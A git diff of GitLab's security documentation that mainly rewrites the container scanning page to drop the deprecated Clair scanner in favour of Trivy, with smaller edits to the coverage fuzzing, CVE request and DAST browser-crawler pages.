[Trivy](https://github.com/aquasecurity/trivy) + as the default for container scanning. To include the `Container-Scanning.gitlab-ci.yml` template (GitLab 11.9 and later), add the following to your `.gitlab-ci.yml` file: ```yaml include: - - template: Container-Scanning.gitlab-ci.yml + - template: Security/Container-Scanning.gitlab-ci.yml ``` The included template: @@ -127,21 +102,14 @@ that you can download and analyze later. When downloading, you always receive th artifact. The following is a sample `.gitlab-ci.yml` that builds your Docker image, pushes it to the container -registry, and scans the containers: +registry, and scans the image: ```yaml -variables: - DOCKER_DRIVER: overlay2 - -stages: - - build - - test - build: - image: docker:stable + image: docker:latest stage: build services: - - docker:19.03.12-dind + - docker:dind variables: IMAGE: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA script: @@ -151,7 +119,7 @@ build: - docker push $IMAGE include: - - template: Container-Scanning.gitlab-ci.yml + - template: Security/Container-Scanning.gitlab-ci.yml ``` ### Customizing the container scanning settings @@ -159,76 +127,45 @@ include: There may be cases where you want to customize how GitLab scans your containers. For example, you may want to enable more verbose output, access a Docker registry that requires authentication, and more. To change such settings, use the [`variables`](../../../ci/yaml/README.md#variables) -parameter in your `.gitlab-ci.yml` to set [CI/CD variables](#available-variables). +parameter in your `.gitlab-ci.yml` to set [CI/CD variables](#available-cicd-variables). The variables you set in your `.gitlab-ci.yml` overwrite those in `Container-Scanning.gitlab-ci.yml`. This example [includes](../../../ci/yaml/README.md#include) the container scanning template and -enables verbose output for both analyzers: - -Clair: +enables verbose output for the analyzer: ```yaml include: - - template: Container-Scanning.gitlab-ci.yml + - template: Security/Container-Scanning.gitlab-ci.yml variables: - CLAIR_TRACE: true + SECURE_LOG_LEVEL: 'debug' ``` -Trivy: +#### Available CI/CD variables -```yaml -include: - - template: Container-Scanning.gitlab-ci.yml - -variables: - TRIVY_DEBUG: true -``` - -This example [includes](../../../ci/yaml/README.md#include) the container scanning template and -enables version `2` of the analyzer: - -```yaml -include: - - template: Container-Scanning.gitlab-ci.yml - -variables: - CS_MAJOR_VERSION: '2' -``` +You can [configure](#customizing-the-container-scanning-settings) analyzers by using the following CI/CD variables: -<!-- NOTE: The container scanning tool references the following heading in the code, so if you" - make a change to this heading, make sure to update the documentation URLs used in the" - container scanning tool (https://gitlab.com/gitlab-org/security-products/analyzers/klar)" --> +| CI/CD Variable | Default | Description | Scanner | +| ------------------------------ | ------------- | ----------- | ------------ | +| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. See [Using a custom SSL CA certificate authority](#using-a-custom-ssl-ca-certificate-authority) for more details. | All | +| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | All | +| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | All | +| `CS_ANALYZER_IMAGE` | `$SECURE_ANALYZERS_PREFIX/$CS_PROJECT:$CS_MAJOR_VERSION` | Docker image of the analyzer. | All | +| `CS_DOCKER_INSECURE` | `"false"` | Allow access to secure Docker registries using HTTPS without validating the certificates. | All | +| `CS_REGISTRY_INSECURE` | `"false"` | Allow access to insecure registries (HTTP only). Should only be set to `true` when testing the image locally. | Trivy. The registry must listen on port `80/tcp`. | +| `CS_SEVERITY_THRESHOLD` | `UNKNOWN` | Severity level threshold. The scanner outputs vulnerabilities with severity level higher than or equal to this threshold. Supported levels are Unknown, Low, Medium, High, and Critical. | Trivy | +| `DOCKER_IMAGE` | `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG` | The Docker image to be scanned. If set, this variable overrides the `$CI_APPLICATION_REPOSITORY` and `$CI_APPLICATION_TAG` variables. | All | +| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. | All | +| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. | All | +| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to use for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project. You should configure this variable only if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | All | +| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | All | -#### Available variables +### Supported distributions -You can [configure](#customizing-the-container-scanning-settings) both analyzers by using the following CI/CD variables: +Support depends on the scanner: -| CI/CD Variable | Default | Description | Supported by| -| ------------------------------ | ------------- | ----------- | ------------ | -| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. See [Using a custom SSL CA certificate authority](#using-a-custom-ssl-ca-certificate-authority) for more details. | Both | -| `CLAIR_DB_CONNECTION_STRING` | `postgresql://postgres:password@clair-vulnerabilities-db:5432/postgres?sslmode=disable&statement_timeout=60000` | This variable represents the [connection string](https://www.postgresql.org/docs/9.3/libpq-connect.html#AEN39692) to the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db) database. **Do not change this** unless you're running the image locally as described in [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool). The host value for the connection string must match the [alias](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) value of the `Container-Scanning.gitlab-ci.yml` template file, which defaults to `clair-vulnerabilities-db`. | Clair | -| `CLAIR_DB_IMAGE` | `arminc/clair-db:latest` | The Docker image name and tag for the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version (for example, to provide a consistent set of vulnerabilities for integration testing purposes, or to refer to a locally hosted vulnerability database for an on-premise offline installation). | Clair | -| `CLAIR_DB_IMAGE_TAG` | `latest` | (**DEPRECATED - use `CLAIR_DB_IMAGE` instead**) The Docker image tag for the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version (for example, to provide a consistent set of vulnerabilities for integration testing purposes). | Clair | -| `CLAIR_OUTPUT` | `Unknown` | Severity level threshold. Vulnerabilities with severity level higher than or equal to this threshold are output. Supported levels are `Unknown`, `Negligible`, `Low`, `Medium`, `High`, `Critical`, and `Defcon1`. | Clair | -| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the Clair server process. | Clair | -| `CLAIR_VULNERABILITIES_DB_URL` | `clair-vulnerabilities-db` | (**DEPRECATED - use `CLAIR_DB_CONNECTION_STRING` instead**) This variable is explicitly set in the [services section](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) of the `Container-Scanning.gitlab-ci.yml` file and defaults to `clair-vulnerabilities-db`. This value represents the address that the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db) is running on. **Do not change this** unless you're running the image locally as described in [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool). | Clair | -| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | Both | -| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | Both | -| `CS_ANALYZER_IMAGE` | `$SECURE_ANALYZERS_PREFIX/$CS_PROJECT:$CS_MAJOR_VERSION` | Docker image of the analyzer. | Both | -| `CS_MAJOR_VERSION` | `3` | The major version of the Docker image tag. | Both | -| `CS_PROJECT` | Depends on `$CS_MAJOR_VERSION`. `klar` if `$CS_MAJOR_VERSION` is set to `1`, `2` or `3`, and `container-scanning` otherwise. | Analyzer project to be used. | Both | -| `DOCKER_IMAGE` | `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG` | The Docker image to be scanned. If set, this variable overrides the `$CI_APPLICATION_REPOSITORY` and `$CI_APPLICATION_TAG` variables. | Both | -| `DOCKER_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access secure Docker registries using HTTPS with bad (or self-signed) SSL certificates. | Clair | -| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. | Clair | -| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. | Clair | -| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to use for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project. You should configure this variable only if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | Both | -| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from Klar. | Clair | -| `REGISTRY_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access insecure registries (HTTP only). Should only be set to `true` when testing the image locally. | Clair | -| `SECURE_ANALYZERS_PREFIX` | `"registry.gitlab.com/gitlab-org/security-products/analyzers"` | Set the Docker registry base address from which to download the analyzer. | Both | -| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | Both | -| `TRIVY_DEBUG` | `"false"` | Set to true to enable more verbose output from the Trivy process. | Trivy | +- [Trivy](https://aquasecurity.github.io/trivy/latest/vuln-detection/os/) (Default). ### Overriding the container scanning template @@ -236,37 +173,15 @@ If you want to override the job definition (for example, to change properties li must declare and override a job after the template inclusion, and then specify any additional keys. -This example sets `GIT_STRATEGY` to `fetch` to be considered by both Clair and Trivy: - -```yaml -include: - - template: Container-Scanning.gitlab-ci.yml - -.cs_common: - variables: - GIT_STRATEGY: fetch -``` - -This example sets `KLAR_TRACE` to `true`, which is specific to Clair: +This example sets `GIT_STRATEGY` to `fetch`: ```yaml include: - - template: Container-Scanning.gitlab-ci.yml + - template: Security/Container-Scanning.gitlab-ci.yml container_scanning: variables: - CLAIR_TRACE: true -``` - -This example sets `TRIVY_DEBUG` to `true`, which is specific to Trivy: - -```yaml -include: - - template: Container-Scanning.gitlab-ci.yml - -container_scanning_new: - variables: - TRIVY_DEBUG: true + GIT_STRATEGY: fetch ``` WARNING: @@ -276,36 +191,47 @@ instead. ### Migrating from Clair to Trivy -If you are currently using Clair and want to migrate to Trivy before GitLab 14.0, you can do so by -taking the following steps: +If you're migrating from a GitLab 13.x release to a GitLab 14.x release and have customized the +`container_scanning` job or its CI variables, you might need to perform these migration steps in +your CI file: + +1. Remove these variables: + + - `CS_MAJOR_VERSION` + - `CS_PROJECT` + - `SECURE_ANALYZERS_PREFIX` -1. Take the following actions in your CI file: +1. Review the `CS_ANALYZER_IMAGE` variable. It no longer depends on the variables above and its new + default value is `registry.gitlab.com/security-products/container-scanning:4`. If you have an + offline environment, see + [Running container scanning in an offline environment](#running-container-scanning-in-an-offline-environment). - - Set the variable `CS_MAJOR_VERSION` to `4`. The job scope is global variables, or under `.cs_common`. - - Remove the variable `CS_PROJECT` from your CI file. The job scope is `container_scanning_new`. - Setting this variable to `container-scanning` under the correct scope has the same effect as - removing it from your CI file. - - Remove the `CS_ANALYZER_IMAGE` variable from your CI file. The job scope is `.cs_common`. Note - that instead of overriding this variable, you can use `CS_MAJOR_VERSION`. +1. If present, remove the `.cs_common` and `container_scanning_new` configuration sections. -1. Remove any variables that are only applicable to Clair. For a complete list of these variables, - see the [available variables](#available-variables). -1. Make any [necessary customizations](#customizing-the-container-scanning-settings) to the - `Trivy` scanner. We strongly recommended that you minimize customizations, as they - might require changes in future GitLab major releases. +1. If the `container_scanning` section is present, it's safer to create one from scratch based on + the new version of the [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml). + Once finished, it should not have any variables that are only applicable to Klar or Clair. For a + complete list of supported variables, see [available variables](#available-cicd-variables). + +1. Make any [necessary customizations](#customizing-the-container-scanning-settings) + to the `Trivy` scanner. We recommend that you minimize such customizations, as they might require + changes in future GitLab major releases. + +1. Trigger a new run of a pipeline that includes the `container_scanning` job. Inspect the job + output and ensure that the log messages do not mention Clair. **Troubleshooting** Prior to the GitLab 14.0 release, any variable defined under the scope `container_scanning` is not considered for the Trivy scanner. Verify that all variables for Trivy are -either defined as a global variable, or under `.cs_common` and `container_scanning_new`. +either defined as a global variable, or under `container_scanning`. ### Using a custom SSL CA certificate authority You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority, which is used to verify the peer when fetching Docker images from a registry which uses HTTPS. The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the [text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1). For example, to configure this value in the `.gitlab-ci.yml` file, use the following: ```yaml -.cs_common: +container_scanning: variables: ADDITIONAL_CA_CERT_BUNDLE: | -----BEGIN CERTIFICATE----- @@ -379,7 +305,7 @@ at the logs that are produced by the container scanning analyzer in `container_s The log contains a list of found vulnerabilities as a table, for example: -```plainttext +```plaintext +------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+ | STATUS | CVE SEVERITY | PACKAGE NAME | PACKAGE VERSION | CVE DESCRIPTION | +------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+ @@ -420,8 +346,7 @@ To use container scanning in an offline environment, you need: | GitLab Analyzer | Container Registry | | --- | --- | -| [Klar](https://gitlab.com/gitlab-org/security-products/analyzers/klar/) (used to run Clair) | [Klar container registry](https://gitlab.com/gitlab-org/security-products/analyzers/klar/container_registry) | -| [Container-Scanning](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning) (used to run Trivy) | [Container-Scanning container registry](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning/container_registry/1741162) | +| [Container-Scanning](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning) | [Container-Scanning container registry](https://gitlab.com/security-products/container-scanning/container_registry/) | Note that GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), meaning the runner tries to pull Docker images from the GitLab container registry even if a local @@ -436,7 +361,6 @@ Support for custom certificate authorities was introduced in the following versi | Scanner | Version | | -------- | ------- | -| `Clair` | [v2.3.0](https://gitlab.com/gitlab-org/security-products/analyzers/klar/-/releases/v2.3.0) | | `Trivy` | [4.0.0](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning/-/releases/4.0.0) | #### Make GitLab container scanning analyzer images available inside your Docker registry @@ -444,17 +368,8 @@ Support for custom certificate authorities was introduced in the following versi For container scanning, import the following default images from `registry.gitlab.com` into your [local Docker container registry](../../packages/container_registry/index.md): -Clair: - ```plaintext -registry.gitlab.com/gitlab-org/security-products/analyzers/klar -https://hub.docker.com/r/arminc/clair-db -``` - -Trivy: - -```plaintext -registry.gitlab.com/gitlab-org/security-products/analyzers/container-scanning +registry.gitlab.com/security-products/container-scanning ``` The process for importing Docker images into a local offline Docker registry depends on @@ -473,54 +388,33 @@ For details on saving and transporting Docker images as a file, see Docker's doc 1. [Override the container scanning template](#overriding-the-container-scanning-template) in your `.gitlab-ci.yml` file to refer to the Docker images hosted on your local Docker container registry: - Clair: - ```yaml include: - - template: Container-Scanning.gitlab-ci.yml + - template: Security/Container-Scanning.gitlab-ci.yml - .cs_common: - image: $CI_REGISTRY/namespace/gitlab-klar-analyzer - variables: - CLAIR_DB_IMAGE: $CI_REGISTRY/namespace/clair-vulnerabilities-db - ``` - - Trivy: - - ```yaml - include: - - template: Container-Scanning.gitlab-ci.yml - - .cs_common: + container_scanning: image: $CI_REGISTRY/namespace/gitlab-container-scanning ``` 1. If your local Docker container registry is running securely over `HTTPS`, but you're using a - self-signed certificate, then you must set `DOCKER_INSECURE: "true"` in the above - `container_scanning` section of your `.gitlab-ci.yml`. This only applies to Clair. + self-signed certificate, then you must set `CS_DOCKER_INSECURE: "true"` in the above + `container_scanning` section of your `.gitlab-ci.yml`. #### Automating container scanning vulnerability database updates with a pipeline We recommend that you set up a [scheduled pipeline](../../../ci/pipelines/schedules.md) -to fetch the latest vulnerabilities database on a preset schedule. Because the Clair scanner is -deprecated, the latest vulnerabilities are currently only available for the Trivy scanner. +to fetch the latest vulnerabilities database on a preset schedule. Automating this with a pipeline means you do not have to do it manually each time. You can use the following `.gitlab-yml.ci` example as a template. ```yaml variables: - # If using Clair, uncomment the following 2 lines and comment the Trivy lines below - # SOURCE_IMAGE: arminc/clair-db:latest - # TARGET_IMAGE: $CI_REGISTRY/$CI_PROJECT_PATH/clair-vulnerabilities-db - - # If using Trivy, uncomment the following 3 lines and comment the Clair lines above - CS_MAJOR_VERSION: 4 # ensure that this value matches the one you use in your scanning jobs - SOURCE_IMAGE: registry.gitlab.com/gitlab-org/security-products/analyzers/container-scanning:$CS_MAJOR_VERSION + SOURCE_IMAGE: registry.gitlab.com/security-products/container-scanning:4 TARGET_IMAGE: $CI_REGISTRY/$CI_PROJECT_PATH/gitlab-container-scanning image: docker:stable -update-vulnerabilities-db: +update-scanner-image: services: - docker:19-dind script: @@ -536,42 +430,6 @@ you're using a non-GitLab Docker registry, you must change the `$CI_REGISTRY` va ## Running the standalone container scanning tool -### Clair - -It's possible to run [Klar](https://gitlab.com/gitlab-org/security-products/analyzers/klar) -against a Docker container without needing to run it within the context of a CI job. To scan an -image directly, follow these steps: - -1. Run [Docker Desktop](https://www.docker.com/products/docker-desktop) or [Docker Machine](https://github.com/docker/machine). -1. Run the latest [prefilled vulnerabilities database](https://hub.docker.com/repository/docker/arminc/clair-db) Docker image: - - ```shell - docker run -p 5432:5432 -d --name clair-db arminc/clair-db:latest - ``` - -1. Configure a CI/CD variable to point to your local machine's IP address (or insert your IP address instead of the `LOCAL_MACHINE_IP_ADDRESS` variable in the `CLAIR_DB_CONNECTION_STRING` in the next step): - - ```shell - export LOCAL_MACHINE_IP_ADDRESS=your.local.ip.address - ``` - -1. Run the analyzer's Docker image, passing the image and tag you want to analyze in the `CI_APPLICATION_REPOSITORY` and `CI_APPLICATION_TAG` variables: - - ```shell - docker run \ - --interactive --rm \ - --volume "$PWD":/tmp/app \ - -e CI_PROJECT_DIR=/tmp/app \ - -e CLAIR_DB_CONNECTION_STRING="postgresql://postgres:password@${LOCAL_MACHINE_IP_ADDRESS}:5432/postgres?sslmode=disable&statement_timeout=60000" \ - -e CI_APPLICATION_REPOSITORY=registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256 \ - -e CI_APPLICATION_TAG=bc09fe2e0721dfaeee79364115aeedf2174cce0947b9ae5fe7c33312ee019a4e \ - registry.gitlab.com/gitlab-org/security-products/analyzers/klar - ``` - -The results are stored in `gl-container-scanning-report.json`. - -### Trivy - It's possible to run the [GitLab container scanning tool](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning) against a Docker container without needing to run it within the context of a CI job. To scan an image directly, follow these steps: @@ -589,7 +447,7 @@ image directly, follow these steps: -e CI_PROJECT_DIR=/tmp/app \ -e CI_APPLICATION_REPOSITORY=registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256 \ -e CI_APPLICATION_TAG=bc09fe2e0721dfaeee79364115aeedf2174cce0947b9ae5fe7c33312ee019a4e \ - registry.gitlab.com/gitlab-org/security-products/analyzers/container-scanning + registry.gitlab.com/security-products/container-scanning ``` The results are stored in `gl-container-scanning-report.json`. @@ -698,8 +556,8 @@ the security vulnerabilities in your groups, projects and pipelines. ## Vulnerabilities database update -If you're using Klar and want more information about the vulnerabilities database update, see the -[maintenance table](../vulnerabilities/index.md#vulnerability-scanner-maintenance). +If you use container scanning and want more information about the vulnerabilities database update, +see the [maintenance table](../vulnerabilities/index.md#vulnerability-scanner-maintenance). ## Interacting with the vulnerabilities @@ -711,13 +569,13 @@ Some vulnerabilities can be fixed by applying the solution that GitLab automatically generates. To enable remediation support, the scanning tool _must_ have access to the `Dockerfile` specified by -the [`DOCKERFILE_PATH`](#available-variables) CI/CD variable. To ensure that the scanning tool +the [`DOCKERFILE_PATH`](#available-cicd-variables) CI/CD variable. To ensure that the scanning tool has access to this -file, it's necessary to set [`GIT_STRATEGY: fetch`](../../../ci/runners/README.md#git-strategy) in +file, it's necessary to set [`GIT_STRATEGY: fetch`](../../../ci/runners/configure_runners.md#git-strategy) in your `.gitlab-ci.yml` file by following the instructions described in this document's [overriding the container scanning template](#overriding-the-container-scanning-template) section. -Read more about the [solutions for vulnerabilities](../vulnerabilities/index.md#remediate-a-vulnerability-automatically). +Read more about the [solutions for vulnerabilities](../vulnerabilities/index.md#resolve-a-vulnerability). ## Troubleshooting diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md index 8b0a84eae4b..b46547b6828 100644 --- a/doc/user/application_security/coverage_fuzzing/index.md +++ b/doc/user/application_security/coverage_fuzzing/index.md @@ -1,6 +1,6 @@ --- stage: Secure -group: Fuzz Testing +group: Dynamic Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -39,7 +39,7 @@ Docker image with the fuzz engine to run your app. To enable fuzzing, you must [include](../../../ci/yaml/README.md#includetemplate) -the [`Coverage-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml) +the [`Coverage-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml) provided as part of your GitLab installation. To do so, add the following to your `.gitlab-ci.yml` file: diff --git a/doc/user/application_security/cve_id_request.md b/doc/user/application_security/cve_id_request.md index bc0c1e52626..aaf701c91dc 100644 --- a/doc/user/application_security/cve_id_request.md +++ b/doc/user/application_security/cve_id_request.md @@ -5,7 +5,7 @@ group: Vulnerability Research info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# CVE ID Requests +# CVE ID Requests **(ULTIMATE SAAS)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com. diff --git a/doc/user/application_security/dast/browser_based.md b/doc/user/application_security/dast/browser_based.md index b8c3529225c..072f6fba4ba 100644 --- a/doc/user/application_security/dast/browser_based.md +++ b/doc/user/application_security/dast/browser_based.md @@ -27,62 +27,44 @@ Scanning a web application with both the browser-based crawler and GitLab DAST s The browser-based crawler is an extension to the GitLab DAST product. DAST should be included in the CI/CD configuration and the browser-based crawler enabled using CI/CD variables: -1. Install the DAST [prerequisites](index.md#prerequisite). +1. Ensure the DAST [prerequisites](index.md#prerequisites) are met. 1. Include the [DAST CI template](index.md#include-the-dast-template). 1. Set the target website using the `DAST_WEBSITE` CI/CD variable. 1. Set the CI/CD variable `DAST_BROWSER_SCAN` to `true`. - + An example configuration might look like the following: ```yaml include: - template: DAST.gitlab-ci.yml -variables: - DAST_WEBSITE: "https://example.com" - DAST_BROWSER_SCAN: "true" +dast: + variables: + DAST_WEBSITE: "https://example.com" + DAST_BROWSER_SCAN: "true" ``` -### Available variables +### Available CI/CD variables The browser-based crawler can be configured using CI/CD variables. -| CI/CD variable | Type | Example | Description | +| CI/CD variable | Type | Example | Description | |--------------------------------------| ----------------| --------------------------------- | ------------| | `DAST_WEBSITE` | URL | `http://www.site.com` | The URL of the website to scan. | -| `DAST_BROWSER_SCAN` | boolean | `true` | Configures DAST to use the browser-based crawler engine. | -| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. | -| `DAST_BROWSER_EXCLUDED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered excluded and connections are forcibly dropped. | -| `DAST_BROWSER_IGNORED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are accessed but not reported against. | -| `DAST_BROWSER_MAX_ACTIONS` | number | `10000` | The maximum number of actions that the crawler performs. For example, clicking a link, or filling a form. | -| `DAST_BROWSER_MAX_DEPTH` | number | `10` | The maximum number of chained actions that the crawler takes. For example, `Click -> Form Fill -> Click` is a depth of three. | -| `DAST_BROWSER_NUMBER_OF_BROWSERS` | number | `3` | The maximum number of concurrent browser instances to use. For shared runners on GitLab.com we recommended a maximum of three. Private runners with more resources may benefit from a higher number, but will likely produce little benefit after five to seven instances. | -| `DAST_BROWSER_COOKIES` | dictionary | `abtesting_group:3,region:locked` | A cookie name and value to be added to every request. | -| `DAST_BROWSER_LOG` | List of strings | `brows:debug,auth:debug` | A list of modules and their intended log level. | -| `DAST_AUTH_URL` | string | `https://example.com/sign-in` | The URL of page that hosts the sign-in form. | -| `DAST_USERNAME` | string | `user123` | The username to enter into the username field on the sign-in HTML form. | -| `DAST_PASSWORD` | string | `p@55w0rd` | The password to enter into the password field on the sign-in HTML form. | -| `DAST_USERNAME_FIELD` | selector | `id:user` | A selector describing the username field on the sign-in HTML form. | -| `DAST_PASSWORD_FIELD` | selector | `css:.password-field` | A selector describing the password field on the sign-in HTML form. | -| `DAST_SUBMIT_FIELD` | selector | `xpath://input[@value='Login']` | A selector describing the element that when clicked submits the login form or the password form of a multi-page login process. | -| `DAST_FIRST_SUBMIT_FIELD` | selector | `.submit` | A selector describing the element that when clicked submits the username form of a multi-page login process. | - -The [DAST variables](index.md#available-variables) `SECURE_ANALYZERS_PREFIX`, `DAST_FULL_SCAN_ENABLED`, `DAST_AUTO_UPDATE_ADDONS`, `DAST_EXCLUDE_RULES`, `DAST_REQUEST_HEADERS`, `DAST_HTML_REPORT`, `DAST_MARKDOWN_REPORT`, `DAST_XML_REPORT`, +| `DAST_BROWSER_SCAN` | boolean | `true` | Configures DAST to use the browser-based crawler engine. | +| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. | +| `DAST_BROWSER_EXCLUDED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered excluded and connections are forcibly dropped. | +| `DAST_BROWSER_IGNORED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are accessed but not reported against. | +| `DAST_BROWSER_MAX_ACTIONS` | number | `10000` | The maximum number of actions that the crawler performs. For example, clicking a link, or filling a form. | +| `DAST_BROWSER_MAX_DEPTH` | number | `10` | The maximum number of chained actions that the crawler takes. For example, `Click -> Form Fill -> Click` is a depth of three. | +| `DAST_BROWSER_NUMBER_OF_BROWSERS` | number | `3` | The maximum number of concurrent browser instances to use. For shared runners on GitLab.com we recommended a maximum of three. Private runners with more resources may benefit from a higher number, but will likely produce little benefit after five to seven instances. | +| `DAST_BROWSER_COOKIES` | dictionary | `abtesting_group:3,region:locked` | A cookie name and value to be added to every request. | +| `DAST_BROWSER_LOG` | List of strings | `brows:debug,auth:debug` | A list of modules and their intended log level. | + +The [DAST variables](index.md#available-cicd-variables) `SECURE_ANALYZERS_PREFIX`, `DAST_FULL_SCAN_ENABLED`, `DAST_AUTO_UPDATE_ADDONS`, `DAST_EXCLUDE_RULES`, `DAST_REQUEST_HEADERS`, `DAST_HTML_REPORT`, `DAST_MARKDOWN_REPORT`, `DAST_XML_REPORT`, +`DAST_AUTH_URL`, `DAST_USERNAME`, `DAST_PASSWORD`, `DAST_USERNAME_FIELD`, `DAST_PASSWORD_FIELD`, `DAST_FIRST_SUBMIT_FIELD`, `DAST_SUBMIT_FIELD`, `DAST_EXCLUDE_URLS`, `DAST_AUTH_VERIFICATION_URL`, `DAST_BROWSER_AUTH_VERIFICATION_SELECTOR`, `DAST_BROWSER_AUTH_VERIFICATION_LOGIN_FORM`, `DAST_BROWSER_AUTH_REPORT`, `DAST_INCLUDE_ALPHA_VULNERABILITIES`, `DAST_PATHS_FILE`, `DAST_PATHS`, `DAST_ZAP_CLI_OPTIONS`, and `DAST_ZAP_LOG_CONFIGURATION` are also compatible with browser-based crawler scans. - -#### Selectors - -Selectors are used by CI/CD variables to specify the location of an element displayed on a page in a browser. -Selectors have the format `type`:`search string`. The crawler will search for the selector using the search string based on the type. - -| Selector type | Example | Description | -| ------------- | ------------------------------ | ----------- | -| `css` | `css:.password-field` | Searches for a HTML element having the supplied CSS selector. Selectors should be as specific as possible for performance reasons. | -| `id` | `id:element` | Searches for an HTML element with the provided element ID. | -| `name` | `name:element` | Searches for an HTML element with the provided element name. | -| `xpath` | `xpath://*[@id="my-button"]/a` | Searches for a HTML element with the provided XPath. Note that XPath searches are expected to be less performant than other searches. | -| None provided | `a.click-me` | Defaults to searching using a CSS selector. | - + ## Vulnerability detection While the browser-based crawler crawls modern web applications efficiently, vulnerability detection is still managed by the standard DAST/Zed Attack Proxy (ZAP) solution. @@ -100,9 +82,9 @@ This can come at a cost of increased scan time. You can manage the trade-off between coverage and scan time with the following measures: -- Limit the number of actions executed by the browser with the [variable](#available-variables) `DAST_BROWSER_MAX_ACTIONS`. The default is `10,000`. -- Limit the page depth that the browser-based crawler will check coverage on with the [variable](#available-variables) `DAST_BROWSER_MAX_DEPTH`. The crawler uses a breadth-first search strategy, so pages with smaller depth are crawled first. The default is `10`. 